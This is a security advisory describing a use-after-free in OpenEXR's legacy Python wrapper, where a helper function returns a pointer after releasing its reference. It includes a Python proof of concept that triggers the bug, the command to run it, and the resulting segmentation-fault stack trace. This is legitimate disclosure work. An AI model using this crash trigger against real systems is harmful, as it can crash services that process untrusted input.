PYSEC-2026-2844

OpenEXR has use after free in PyObject_StealAttrString

### Summary There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp. This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.). https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115 https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387 https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286 ### PoC ```py import OpenEXR, Imath # Any small EXR will do - use one from OpenEXR test images or any project file path = "any_small.exr" # Property returns a fresh temporary int subclass, so the buggy helper # decrefs it to zero before passing it to PyLong_AsLong => UAF. class FreshInt(int): def __new__(cls, v): return int.__new__(cls, v) def __del__(self): # stir the heap to make the UAF obvious under PYTHONMALLOC=debug _ = bytearray(1_000_000) class PixelTypeProxy: @property def v(self): return FreshInt(Imath.PixelType.FLOAT) # any small value is fine f = OpenEXR.InputFile(path) # channel() forces the wrapper to read pixel_type.v using the buggy helper # which returns a dangling pointer print("About to trigger UAF...") f.channel("R", pixel_type=PixelTypeProxy()) print("If you get here without a crash, try again with AddressSanitizer.") ``` running ```shell PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py ``` ``` About to trigger UAF... Fatal Python error: Segmentation fault Current thread 0x00000001f209a140 (most recent call first): File "/private/tmp/i/pt.py", line 24 in <module> Current thread's C stack trace (most recent call first): Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00] Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94] Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8] Binary file "/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494] Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98] Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2) Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py ``` ### Impact Completely depends on the context. Typical memory stuff related to UAFs.